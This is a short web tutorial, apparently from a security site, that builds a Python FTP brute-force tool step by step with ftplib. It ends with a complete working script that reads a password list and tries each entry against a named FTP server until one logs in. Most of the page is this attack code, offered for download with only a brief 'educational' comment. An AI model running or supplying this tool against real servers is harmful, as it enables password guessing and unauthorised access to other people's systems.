Python FTP Brute force tutorial and code

This Python FTP brute force tutorial will allow you to create your own simple FTP brute force tool in Python. The complete code is just 20 lines and the tool is straight forward.

Create a new python file

First create a new Python file and save it, this will allow you to edit and move though this tutorial faster.

Import FTPlib

FTPlib is a standard library, utilize this. Write down the following piece of code in your python file.

from ftplib import FTP

Password list

The brute force tool must utilize a password list, we do not want to enter passwords one by one. Create a string value which allows you to specify the location of your password_list. Next, we want to add a default username that we are going to use, and we will have to specify a target string.

So make sure to add the following code:

password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.cyberwarzone.com"

Define and loop

Define a process, let’s call it start, we have to prepare a list, which is going to hold the password_list and we need to write some code which will load the list into the python FTP brute force tool which we are creating.

Add the following line of code:

def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()

We continue to add the loop, and the login steps:

for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)

Finish and run

The last step we want to do, is to add start() at the end of the python code.

Add to the code:

start()

End result

#author cyberwarzone.com
#twitter.com/cyberwarzonecom
#facebook.com/cyberwarzone
#purpose: Educational, part of a tutorial on the site. 
from ftplib import FTP
#options
password_list = "my_password_list.txt"
username = "anonymous"
target = "ftp.cyberwarzone.com"
 
def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()
    for password in setx: 
        password = password.strip()
        try: 
            ftp = FTP(target)
            ftp.login(user=username, passwd = password)
            print("Success:",str(password))
            break
        except Exception as e: 
            print("Fail:",str(e),"  [X]->  ",password)
start()

Download

You can download the complete code for free. Copy the code above, or simply download the complete python file and draft password list.

Share this info: